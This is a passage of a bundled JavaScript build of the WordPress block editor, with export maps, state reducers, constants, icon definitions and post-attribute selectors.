1692 getTemplateLock: () => (getTemplateLock),
1693 hasChangedContent: () => (hasChangedContent),
1694 hasEditorRedo: () => (hasEditorRedo),
1695 hasEditorUndo: () => (hasEditorUndo),
1696 hasInserterItems: () => (hasInserterItems),
1697 hasMultiSelection: () => (hasMultiSelection),
1698 hasNonPostEntityChanges: () => (hasNonPostEntityChanges),
1699 hasSelectedBlock: () => (hasSelectedBlock),
1700 hasSelectedInnerBlock: () => (hasSelectedInnerBlock),
1701 inSomeHistory: () => (inSomeHistory),
1702 isAncestorMultiSelected: () => (isAncestorMultiSelected),
1703 isAutosavingPost: () => (isAutosavingPost),
1704 isBlockInsertionPointVisible: () => (isBlockInsertionPointVisible),
1705 isBlockMultiSelected: () => (isBlockMultiSelected),
1706 isBlockSelected: () => (isBlockSelected),
1707 isBlockValid: () => (isBlockValid),
1708 isBlockWithinSelection: () => (isBlockWithinSelection),
1709 isCaretWithinFormattedText: () => (isCaretWithinFormattedText),
1710 isCleanNewPost: () => (isCleanNewPost),
1711 isCurrentPostPending: () => (isCurrentPostPending),
1712 isCurrentPostPublished: () => (isCurrentPostPublished),
1713 isCurrentPostScheduled: () => (isCurrentPostScheduled),
1714 isDeletingPost: () => (isDeletingPost),
1715 isEditedPostAutosaveable: () => (isEditedPostAutosaveable),
1716 isEditedPostBeingScheduled: () => (isEditedPostBeingScheduled),
1717 isEditedPostDateFloating: () => (isEditedPostDateFloating),
1718 isEditedPostDirty: () => (isEditedPostDirty),
1719 isEditedPostEmpty: () => (isEditedPostEmpty),
1720 isEditedPostNew: () => (isEditedPostNew),
1721 isEditedPostPublishable: () => (isEditedPostPublishable),
1722 isEditedPostSaveable: () => (isEditedPostSaveable),
1723 isEditorPanelEnabled: () => (isEditorPanelEnabled),
1724 isEditorPanelOpened: () => (isEditorPanelOpened),
1725 isEditorPanelRemoved: () => (isEditorPanelRemoved),
1726 isFirstMultiSelectedBlock: () => (isFirstMultiSelectedBlock),
1727 isInserterOpened: () => (isInserterOpened),
1728 isListViewOpened: () => (isListViewOpened),
1729 isMultiSelecting: () => (isMultiSelecting),
1730 isPermalinkEditable: () => (isPermalinkEditable),
1731 isPostAutosavingLocked: () => (isPostAutosavingLocked),
1732 isPostLockTakeover: () => (isPostLockTakeover),
1733 isPostLocked: () => (isPostLocked),
1734 isPostSavingLocked: () => (isPostSavingLocked),
1735 isPreviewingPost: () => (isPreviewingPost),
1736 isPublishSidebarEnabled: () => (isPublishSidebarEnabled),
1737 isPublishSidebarOpened: () => (isPublishSidebarOpened),
1738 isPublishingPost: () => (isPublishingPost),
1739 isSavingNonPostEntityChanges: () => (isSavingNonPostEntityChanges),
1740 isSavingPost: () => (isSavingPost),
1741 isSelectionEnabled: () => (isSelectionEnabled),
1742 isTyping: () => (isTyping),
1743 isValidTemplate: () => (isValidTemplate)
1744});
1745
1746// NAMESPACE OBJECT: ./node_modules/@wordpress/editor/build-module/store/actions.js
1747var actions_namespaceObject = {};
1748__webpack_require__.r(actions_namespaceObject);
1749__webpack_require__.d(actions_namespaceObject, {
1750 __experimentalTearDownEditor: () => (__experimentalTearDownEditor),
1751 __unstableSaveForPreview: () => (__unstableSaveForPreview),
1752 autosave: () => (autosave),
1753 clearSelectedBlock: () => (clearSelectedBlock),
1754 closePublishSidebar: () => (closePublishSidebar),
1755 createUndoLevel: () => (createUndoLevel),
1756 disablePublishSidebar: () => (disablePublishSidebar),
1757 editPost: () => (editPost),
1758 enablePublishSidebar: () => (enablePublishSidebar),
1759 enterFormattedText: () => (enterFormattedText),
1760 exitFormattedText: () => (exitFormattedText),
1761 hideInsertionPoint: () => (hideInsertionPoint),
1762 insertBlock: () => (insertBlock),
1763 insertBlocks: () => (insertBlocks),
1764 insertDefaultBlock: () => (insertDefaultBlock),
1765 lockPostAutosaving: () => (lockPostAutosaving),
1766 lockPostSaving: () => (lockPostSaving),
1767 mergeBlocks: () => (mergeBlocks),
1768 moveBlockToPosition: () => (moveBlockToPosition),
1769 moveBlocksDown: () => (moveBlocksDown),
1770 moveBlocksUp: () => (moveBlocksUp),
1771 multiSelect: () => (multiSelect),
1772 openPublishSidebar: () => (openPublishSidebar),
1773 receiveBlocks: () => (receiveBlocks),
1774 redo: () => (redo),
1775 refreshPost: () => (refreshPost),
1776 removeBlock: () => (removeBlock),
1777 removeBlocks: () => (removeBlocks),
1778 removeEditorPanel: () => (removeEditorPanel),
1779 replaceBlock: () => (replaceBlock),
1780 replaceBlocks: () => (replaceBlocks),
1781 resetBlocks: () => (resetBlocks),
1782 resetEditorBlocks: () => (resetEditorBlocks),
1783 resetPost: () => (resetPost),
1784 savePost: () => (savePost),
1785 selectBlock: () => (selectBlock),
1786 setDeviceType: () => (setDeviceType),
1787 setEditedPost: () => (setEditedPost),
1788 setIsInserterOpened: () => (setIsInserterOpened),
1789 setIsListViewOpened: () => (setIsListViewOpened),
1790 setRenderingMode: () => (setRenderingMode),
1791 setTemplateValidity: () => (setTemplateValidity),
1792 setupEditor: () => (setupEditor),
1793 setupEditorState: () => (setupEditorState),
1794 showInsertionPoint: () => (showInsertionPoint),
1795 startMultiSelect: () => (startMultiSelect),
1796 startTyping: () => (startTyping),
1797 stopMultiSelect: () => (stopMultiSelect),
1798 stopTyping: () => (stopTyping),
1799 switchEditorMode: () => (switchEditorMode),
1800 synchronizeTemplate: () => (synchronizeTemplate),
1801 toggleBlockMode: () => (toggleBlockMode),
1802 toggleDistractionFree: () => (toggleDistractionFree),
1803 toggleEditorPanelEnabled: () => (toggleEditorPanelEnabled),
1804 toggleEditorPanelOpened: () => (toggleEditorPanelOpened),
1805 togglePublishSidebar: () => (togglePublishSidebar),
1806 toggleSelection: () => (toggleSelection),
1807 toggleSpotlightMode: () => (toggleSpotlightMode),
1808 toggleTopToolbar: () => (toggleTopToolbar),
1809 trashPost: () => (trashPost),
1810 undo: () => (undo),
1811 unlockPostAutosaving: () => (unlockPostAutosaving),
1812 unlockPostSaving: () => (unlockPostSaving),
1813 updateBlock: () => (updateBlock),
1814 updateBlockAttributes: () => (updateBlockAttributes),
1815 updateBlockListSettings: () => (updateBlockListSettings),
1816 updateEditorSettings: () => (updateEditorSettings),
1817 updatePost: () => (updatePost),
1818 updatePostLock: () => (updatePostLock)
1819});
1820
1821// NAMESPACE OBJECT: ./node_modules/@wordpress/interface/build-module/store/actions.js
1822var store_actions_namespaceObject = {};
1823__webpack_require__.r(store_actions_namespaceObject);
1824__webpack_require__.d(store_actions_namespaceObject, {
1825 closeModal: () => (closeModal),
1826 disableComplementaryArea: () => (disableComplementaryArea),
1827 enableComplementaryArea: () => (enableComplementaryArea),
1828 openModal: () => (openModal),
1829 pinItem: () => (pinItem),
1830 setDefaultComplementaryArea: () => (setDefaultComplementaryArea),
1831 setFeatureDefaults: () => (setFeatureDefaults),
1832 setFeatureValue: () => (setFeatureValue),
1833 toggleFeature: () => (toggleFeature),
1834 unpinItem: () => (unpinItem)
1835});
1836
1837// NAMESPACE OBJECT: ./node_modules/@wordpress/interface/build-module/store/selectors.js
1838var store_selectors_namespaceObject = {};
1839__webpack_require__.r(store_selectors_namespaceObject);
1840__webpack_require__.d(store_selectors_namespaceObject, {
1841 getActiveComplementaryArea: () => (getActiveComplementaryArea),
1842 isComplementaryAreaLoading: () => (isComplementaryAreaLoading),
1843 isFeatureActive: () => (isFeatureActive),
1844 isItemPinned: () => (isItemPinned),
1845 isModalActive: () => (isModalActive)
1846});
1847
1848// NAMESPACE OBJECT: ./node_modules/@wordpress/interface/build-module/index.js
1849var build_module_namespaceObject = {};
1850__webpack_require__.r(build_module_namespaceObject);
1851__webpack_require__.d(build_module_namespaceObject, {
1852 ActionItem: () => (action_item_default),
1853 ComplementaryArea: () => (complementary_area_default),
1854 ComplementaryAreaMoreMenuItem: () => (ComplementaryAreaMoreMenuItem),
1855 FullscreenMode: () => (fullscreen_mode_default),
1856 InterfaceSkeleton: () => (interface_skeleton_default),
1857 PinnedItems: () => (pinned_items_default),
1858 store: () => (store)
1859});
1860
1861// NAMESPACE OBJECT: ./node_modules/@wordpress/editor/build-module/store/private-actions.js
1862var store_private_actions_namespaceObject = {};
1863__webpack_require__.r(store_private_actions_namespaceObject);
1864__webpack_require__.d(store_private_actions_namespaceObject, {
1865 createTemplate: () => (createTemplate),
1866 hideBlockTypes: () => (hideBlockTypes),
1867 registerEntityAction: () => (registerEntityAction),
1868 registerEntityField: () => (registerEntityField),
1869 registerPostTypeSchema: () => (registerPostTypeSchema),
1870 removeTemplates: () => (removeTemplates),
1871 revertTemplate: () => (private_actions_revertTemplate),
1872 saveDirtyEntities: () => (saveDirtyEntities),
1873 setCanvasMinHeight: () => (setCanvasMinHeight),
1874 setCurrentTemplateId: () => (setCurrentTemplateId),
1875 setDefaultRenderingMode: () => (setDefaultRenderingMode),
1876 setIsReady: () => (setIsReady),
1877 showBlockTypes: () => (showBlockTypes),
1878 unregisterEntityAction: () => (unregisterEntityAction),
1879 unregisterEntityField: () => (unregisterEntityField)
1880});
1881
1882// NAMESPACE OBJECT: ./node_modules/@wordpress/editor/build-module/store/private-selectors.js
1883var store_private_selectors_namespaceObject = {};
1884__webpack_require__.r(store_private_selectors_namespaceObject);
1885__webpack_require__.d(store_private_selectors_namespaceObject, {
1886 getCanvasMinHeight: () => (getCanvasMinHeight),
1887 getDefaultRenderingMode: () => (getDefaultRenderingMode),
1888 getEntityActions: () => (private_selectors_getEntityActions),
1889 getEntityFields: () => (private_selectors_getEntityFields),
1890 getInserter: () => (getInserter),
1891 getInserterSidebarToggleRef: () => (getInserterSidebarToggleRef),
1892 getListViewToggleRef: () => (getListViewToggleRef),
1893 getPostBlocksByName: () => (getPostBlocksByName),
1894 getPostIcon: () => (getPostIcon),
1895 hasPostMetaChanges: () => (hasPostMetaChanges),
1896 isEntityReady: () => (private_selectors_isEntityReady)
1897});
1898
1899;// external "ReactJSXRuntime"
1900const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
1901;// external ["wp","data"]
1902const external_wp_data_namespaceObject = window["wp"]["data"];
1903;// external ["wp","coreData"]
1904const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
1905;// external ["wp","element"]
1906const external_wp_element_namespaceObject = window["wp"]["element"];
1907;// external ["wp","compose"]
1908const external_wp_compose_namespaceObject = window["wp"]["compose"];
1909;// external ["wp","hooks"]
1910const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
1911;// external ["wp","blockEditor"]
1912const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
1913;// ./node_modules/@wordpress/editor/build-module/store/defaults.js
1914
1915const EDITOR_SETTINGS_DEFAULTS = {
1916 ...external_wp_blockEditor_namespaceObject.SETTINGS_DEFAULTS,
1917 richEditingEnabled: true,
1918 codeEditingEnabled: true,
1919 fontLibraryEnabled: true,
1920 enableCustomFields: void 0,
1921 defaultRenderingMode: "post-only"
1922};
1923
1924
1925;// ./node_modules/@wordpress/editor/build-module/dataviews/store/reducer.js
1926
1927function isReady(state = {}, action) {
1928 switch (action.type) {
1929 case "SET_IS_READY":
1930 return {
1931 ...state,
1932 [action.kind]: {
1933 ...state[action.kind],
1934 [action.name]: true
1935 }
1936 };
1937 }
1938 return state;
1939}
1940function actions(state = {}, action) {
1941 switch (action.type) {
1942 case "REGISTER_ENTITY_ACTION":
1943 return {
1944 ...state,
1945 [action.kind]: {
1946 ...state[action.kind],
1947 [action.name]: [
1948 ...(state[action.kind]?.[action.name] ?? []).filter(
1949 (_action) => _action.id !== action.config.id
1950 ),
1951 action.config
1952 ]
1953 }
1954 };
1955 case "UNREGISTER_ENTITY_ACTION": {
1956 return {
1957 ...state,
1958 [action.kind]: {
1959 ...state[action.kind],
1960 [action.name]: (state[action.kind]?.[action.name] ?? []).filter((_action) => _action.id !== action.actionId)
1961 }
1962 };
1963 }
1964 }
1965 return state;
1966}
1967function fields(state = {}, action) {
1968 switch (action.type) {
1969 case "REGISTER_ENTITY_FIELD":
1970 return {
1971 ...state,
1972 [action.kind]: {
1973 ...state[action.kind],
1974 [action.name]: [
1975 ...(state[action.kind]?.[action.name] ?? []).filter(
1976 (_field) => _field.id !== action.config.id
1977 ),
1978 action.config
1979 ]
1980 }
1981 };
1982 case "UNREGISTER_ENTITY_FIELD":
1983 return {
1984 ...state,
1985 [action.kind]: {
1986 ...state[action.kind],
1987 [action.name]: (state[action.kind]?.[action.name] ?? []).filter((_field) => _field.id !== action.fieldId)
1988 }
1989 };
1990 }
1991 return state;
1992}
1993var reducer_default = (0,external_wp_data_namespaceObject.combineReducers)({
1994 actions,
1995 fields,
1996 isReady
1997});
1998
1999
2000;// ./node_modules/@wordpress/editor/build-module/store/reducer.js
2001
2002
2003
2004function getPostRawValue(value) {
2005 if (value && "object" === typeof value && "raw" in value) {
2006 return value.raw;
2007 }
2008 return value;
2009}
2010function hasSameKeys(a, b) {
2011 const keysA = Object.keys(a).sort();
2012 const keysB = Object.keys(b).sort();
2013 return keysA.length === keysB.length && keysA.every((key, index) => keysB[index] === key);
2014}
2015function isUpdatingSamePostProperty(action, previousAction) {
2016 return action.type === "EDIT_POST" && hasSameKeys(action.edits, previousAction.edits);
2017}
2018function shouldOverwriteState(action, previousAction) {
2019 if (action.type === "RESET_EDITOR_BLOCKS") {
2020 return !action.shouldCreateUndoLevel;
2021 }
2022 if (!previousAction || action.type !== previousAction.type) {
2023 return false;
2024 }
2025 return isUpdatingSamePostProperty(action, previousAction);
2026}
2027function postId(state = null, action) {
2028 switch (action.type) {
2029 case "SET_EDITED_POST":
2030 return action.postId;
2031 }
2032 return state;
2033}
2034function templateId(state = null, action) {
2035 switch (action.type) {
2036 case "SET_CURRENT_TEMPLATE_ID":
2037 return action.id;
2038 }
2039 return state;
2040}
2041function postType(state = null, action) {
2042 switch (action.type) {
2043 case "SET_EDITED_POST":
2044 return action.postType;
2045 }
2046 return state;
2047}
2048function template(state = { isValid: true }, action) {
2049 switch (action.type) {
2050 case "SET_TEMPLATE_VALIDITY":
2051 return {
2052 ...state,
2053 isValid: action.isValid
2054 };
2055 }
2056 return state;
2057}
2058function saving(state = {}, action) {
2059 switch (action.type) {
2060 case "REQUEST_POST_UPDATE_START":
2061 case "REQUEST_POST_UPDATE_FINISH":
2062 return {
2063 pending: action.type === "REQUEST_POST_UPDATE_START",
2064 options: action.options || {}
2065 };
2066 }
2067 return state;
2068}
2069function deleting(state = {}, action) {
2070 switch (action.type) {
2071 case "REQUEST_POST_DELETE_START":
2072 case "REQUEST_POST_DELETE_FINISH":
2073 return {
2074 pending: action.type === "REQUEST_POST_DELETE_START"
2075 };
2076 }
2077 return state;
2078}
2079function postLock(state = { isLocked: false }, action) {
2080 switch (action.type) {
2081 case "UPDATE_POST_LOCK":
2082 return action.lock;
2083 }
2084 return state;
2085}
2086function postSavingLock(state = {}, action) {
2087 switch (action.type) {
2088 case "LOCK_POST_SAVING":
2089 return { ...state, [action.lockName]: true };
2090 case "UNLOCK_POST_SAVING": {
2091 const { [action.lockName]: removedLockName, ...restState } = state;
2092 return restState;
2093 }
2094 }
2095 return state;
2096}
2097function postAutosavingLock(state = {}, action) {
2098 switch (action.type) {
2099 case "LOCK_POST_AUTOSAVING":
2100 return { ...state, [action.lockName]: true };
2101 case "UNLOCK_POST_AUTOSAVING": {
2102 const { [action.lockName]: removedLockName, ...restState } = state;
2103 return restState;
2104 }
2105 }
2106 return state;
2107}
2108function editorSettings(state = EDITOR_SETTINGS_DEFAULTS, action) {
2109 switch (action.type) {
2110 case "UPDATE_EDITOR_SETTINGS":
2111 return {
2112 ...state,
2113 ...action.settings
2114 };
2115 }
2116 return state;
2117}
2118function renderingMode(state = "post-only", action) {
2119 switch (action.type) {
2120 case "SET_RENDERING_MODE":
2121 return action.mode;
2122 }
2123 return state;
2124}
2125function deviceType(state = "Desktop", action) {
2126 switch (action.type) {
2127 case "SET_DEVICE_TYPE":
2128 return action.deviceType;
2129 }
2130 return state;
2131}
2132function removedPanels(state = [], action) {
2133 switch (action.type) {
2134 case "REMOVE_PANEL":
2135 if (!state.includes(action.panelName)) {
2136 return [...state, action.panelName];
2137 }
2138 }
2139 return state;
2140}
2141function blockInserterPanel(state = false, action) {
2142 switch (action.type) {
2143 case "SET_IS_LIST_VIEW_OPENED":
2144 return action.isOpen ? false : state;
2145 case "SET_IS_INSERTER_OPENED":
2146 return action.value;
2147 }
2148 return state;
2149}
2150function listViewPanel(state = false, action) {
2151 switch (action.type) {
2152 case "SET_IS_INSERTER_OPENED":
2153 return action.value ? false : state;
2154 case "SET_IS_LIST_VIEW_OPENED":
2155 return action.isOpen;
2156 }
2157 return state;
2158}
2159function listViewToggleRef(state = { current: null }) {
2160 return state;
2161}
2162function inserterSidebarToggleRef(state = { current: null }) {
2163 return state;
2164}
2165function publishSidebarActive(state = false, action) {
2166 switch (action.type) {
2167 case "OPEN_PUBLISH_SIDEBAR":
2168 return true;
2169 case "CLOSE_PUBLISH_SIDEBAR":
2170 return false;
2171 case "TOGGLE_PUBLISH_SIDEBAR":
2172 return !state;
2173 }
2174 return state;
2175}
2176function canvasMinHeight(state = 0, action) {
2177 switch (action.type) {
2178 case "SET_CANVAS_MIN_HEIGHT":
2179 return action.minHeight;
2180 }
2181 return state;
2182}
2183var reducer_reducer_default = (0,external_wp_data_namespaceObject.combineReducers)({
2184 postId,
2185 postType,
2186 templateId,
2187 saving,
2188 deleting,
2189 postLock,
2190 template,
2191 postSavingLock,
2192 editorSettings,
2193 postAutosavingLock,
2194 renderingMode,
2195 deviceType,
2196 removedPanels,
2197 blockInserterPanel,
2198 inserterSidebarToggleRef,
2199 listViewPanel,
2200 listViewToggleRef,
2201 publishSidebarActive,
2202 canvasMinHeight,
2203 dataviews: reducer_default
2204});
2205
2206
2207;// external ["wp","blocks"]
2208const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
2209;// external ["wp","date"]
2210const external_wp_date_namespaceObject = window["wp"]["date"];
2211;// external ["wp","url"]
2212const external_wp_url_namespaceObject = window["wp"]["url"];
2213;// external ["wp","deprecated"]
2214const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
2215var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
2216;// external ["wp","preferences"]
2217const external_wp_preferences_namespaceObject = window["wp"]["preferences"];
2218;// ./node_modules/@wordpress/editor/build-module/store/constants.js
2219const EDIT_MERGE_PROPERTIES = /* @__PURE__ */ new Set(["meta"]);
2220const STORE_NAME = "core/editor";
2221const PERMALINK_POSTNAME_REGEX = /%(?:postname|pagename)%/;
2222const ONE_MINUTE_IN_MS = 60 * 1e3;
2223const AUTOSAVE_PROPERTIES = ["title", "excerpt", "content"];
2224const TEMPLATE_PART_AREA_DEFAULT_CATEGORY = "uncategorized";
2225const TEMPLATE_POST_TYPE = "wp_template";
2226const TEMPLATE_PART_POST_TYPE = "wp_template_part";
2227const PATTERN_POST_TYPE = "wp_block";
2228const NAVIGATION_POST_TYPE = "wp_navigation";
2229const TEMPLATE_ORIGINS = {
2230 custom: "custom",
2231 theme: "theme",
2232 plugin: "plugin"
2233};
2234const TEMPLATE_POST_TYPES = ["wp_template", "wp_template_part"];
2235const GLOBAL_POST_TYPES = [
2236 ...TEMPLATE_POST_TYPES,
2237 "wp_block",
2238 "wp_navigation"
2239];
2240
2241
2242;// external ["wp","primitives"]
2243const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
2244;// ./node_modules/@wordpress/icons/build-module/library/header.js
2245
2246
2247var header_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });
2248
2249
2250;// ./node_modules/@wordpress/icons/build-module/library/footer.js
2251
2252
2253var footer_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2254 external_wp_primitives_namespaceObject.Path,
2255 {
2256 fillRule: "evenodd",
2257 d: "M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"
2258 }
2259) });
2260
2261
2262;// ./node_modules/@wordpress/icons/build-module/library/sidebar.js
2263
2264
2265var sidebar_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });
2266
2267
2268;// ./node_modules/@wordpress/icons/build-module/library/symbol-filled.js
2269
2270
2271var symbol_filled_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
2272
2273
2274;// ./node_modules/@wordpress/editor/build-module/utils/get-template-part-icon.js
2275
2276function getTemplatePartIcon(iconName) {
2277 if ("header" === iconName) {
2278 return header_default;
2279 } else if ("footer" === iconName) {
2280 return footer_default;
2281 } else if ("sidebar" === iconName) {
2282 return sidebar_default;
2283 }
2284 return symbol_filled_default;
2285}
2286
2287
2288;// external ["wp","privateApis"]
2289const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
2290;// ./node_modules/@wordpress/editor/build-module/lock-unlock.js
2291
2292const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
2293 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
2294 "@wordpress/editor"
2295);
2296
2297
2298;// ./node_modules/@wordpress/icons/build-module/library/layout.js
2299
2300
2301var layout_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });
2302
2303
2304;// ./node_modules/@wordpress/editor/build-module/utils/get-template-info.js
2305
2306
2307const EMPTY_OBJECT = {};
2308const getTemplateInfo = (params) => {
2309 if (!params) {
2310 return EMPTY_OBJECT;
2311 }
2312 const { templateTypes, templateAreas, template } = params;
2313 const { description, slug, title, area } = template;
2314 const { title: defaultTitle, description: defaultDescription } = Object.values(templateTypes).find((type) => type.slug === slug) ?? EMPTY_OBJECT;
2315 const templateTitle = typeof title === "string" ? title : title?.rendered;
2316 const templateDescription = typeof description === "string" ? description : description?.raw;
2317 const templateAreasWithIcon = templateAreas?.map((item) => ({
2318 ...item,
2319 icon: getTemplatePartIcon(item.icon)
2320 }));
2321 const templateIcon = templateAreasWithIcon?.find((item) => area === item.area)?.icon || layout_default;
2322 return {
2323 title: templateTitle && templateTitle !== slug ? templateTitle : defaultTitle || slug,
2324 description: templateDescription || defaultDescription,
2325 icon: templateIcon
2326 };
2327};
2328
2329
2330;// ./node_modules/@wordpress/editor/build-module/store/selectors.js
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345const selectors_EMPTY_OBJECT = {};
2346const hasEditorUndo = (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => () => {
2347 return select(external_wp_coreData_namespaceObject.store).hasUndo();
2348});
2349const hasEditorRedo = (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => () => {
2350 return select(external_wp_coreData_namespaceObject.store).hasRedo();
2351});
2352function isEditedPostNew(state) {
2353 return getCurrentPost(state).status === "auto-draft";
2354}
2355function hasChangedContent(state) {
2356 const edits = getPostEdits(state);
2357 return "content" in edits;
2358}
2359const isEditedPostDirty = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2360 (select) => (state) => {
2361 const postType = getCurrentPostType(state);
2362 const postId = getCurrentPostId(state);
2363 return select(external_wp_coreData_namespaceObject.store).hasEditsForEntityRecord(
2364 "postType",
2365 postType,
2366 postId
2367 );
2368 }
2369);
2370const hasNonPostEntityChanges = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2371 (select) => (state) => {
2372 const dirtyEntityRecords = select(external_wp_coreData_namespaceObject.store).__experimentalGetDirtyEntityRecords();
2373 const { type, id } = getCurrentPost(state);
2374 return dirtyEntityRecords.some(
2375 (entityRecord) => entityRecord.kind !== "postType" || entityRecord.name !== type || entityRecord.key !== id
2376 );
2377 }
2378);
2379function isCleanNewPost(state) {
2380 return !isEditedPostDirty(state) && isEditedPostNew(state);
2381}
2382const getCurrentPost = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2383 (select) => (state) => {
2384 const postId = getCurrentPostId(state);
2385 const postType = getCurrentPostType(state);
2386 const post = select(external_wp_coreData_namespaceObject.store).getRawEntityRecord(
2387 "postType",
2388 postType,
2389 postId
2390 );
2391 if (post) {
2392 return post;
2393 }
2394 return selectors_EMPTY_OBJECT;
2395 }
2396);
2397function getCurrentPostType(state) {
2398 return state.postType;
2399}
2400function getCurrentPostId(state) {
2401 return state.postId;
2402}
2403function getCurrentTemplateId(state) {
2404 return state.templateId;
2405}
2406function getCurrentPostRevisionsCount(state) {
2407 return getCurrentPost(state)._links?.["version-history"]?.[0]?.count ?? 0;
2408}
2409function getCurrentPostLastRevisionId(state) {
2410 return getCurrentPost(state)._links?.["predecessor-version"]?.[0]?.id ?? null;
2411}
2412const getPostEdits = (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => (state) => {
2413 const postType = getCurrentPostType(state);
2414 const postId = getCurrentPostId(state);
2415 return select(external_wp_coreData_namespaceObject.store).getEntityRecordEdits(
2416 "postType",
2417 postType,
2418 postId
2419 ) || selectors_EMPTY_OBJECT;
2420});
2421function getCurrentPostAttribute(state, attributeName) {
2422 switch (attributeName) {
2423 case "type":
2424 return getCurrentPostType(state);
2425 case "id":
2426 return getCurrentPostId(state);
2427 default:
2428 const post = getCurrentPost(state);
2429 if (!post.hasOwnProperty(attributeName)) {
2430 break;
2431 }
2432 return getPostRawValue(post[attributeName]);
2433 }
2434}
2435const getNestedEditedPostProperty = (0,external_wp_data_namespaceObject.createSelector)(
2436 (state, attributeName) => {
2437 const edits = getPostEdits(state);
2438 if (!edits.hasOwnProperty(attributeName)) {
2439 return getCurrentPostAttribute(state, attributeName);
2440 }
2441 return {
2442 ...getCurrentPostAttribute(state, attributeName),
2443 ...edits[attributeName]
2444 };
2445 },
2446 (state, attributeName) => [
2447 getCurrentPostAttribute(state, attributeName),
2448 getPostEdits(state)[attributeName]
2449 ]
2450);
2451function getEditedPostAttribute(state, attributeName) {
2452 switch (attributeName) {
2453 case "content":
2454 return getEditedPostContent(state);
2455 }
2456 const edits = getPostEdits(state);
2457 if (!edits.hasOwnProperty(attributeName)) {
2458 return getCurrentPostAttribute(state, attributeName);
2459 }
2460 if (EDIT_MERGE_PROPERTIES.has(attributeName)) {
2461 return getNestedEditedPostProperty(state, attributeName);
2462 }
2463 return edits[attributeName];
2464}
2465const getAutosaveAttribute = (0,external_wp_data_namespaceObject.createRegistrySelector)(
2466 (select) => (state, attributeName) => {
2467 if (!AUTOSAVE_PROPERTIES.includes(attributeName) && attributeName !== "preview_link") {
2468 return;
2469 }
2470 const postType = getCurrentPostType(state);
2471 if (postType === "wp_template") {
2472 return false;
2473 }
2474 const postId = getCurrentPostId(state);
2475 const currentUserId = select(external_wp_coreData_namespaceObject.store).getCurrentUser()?.id;
2476 const autosave = select(external_wp_coreData_namespaceObject.store).getAutosave(
2477 postType,
2478 postId,
2479 currentUserId
2480 );
2481 if (autosave) {
2482 return getPostRawValue(autosave[attributeName]);
2483 }
2484 }
2485);
2486function getEditedPostVisibility(state) {
2487 const status = getEditedPostAttribute(state, "status");
2488 if (status === "private") {
2489 return "private";
2490 }
2491 const password = getEditedPostAttribute(state, "password");
2492 if (password) {
2493 return "password";
2494 }
2495 return "public";
2496}
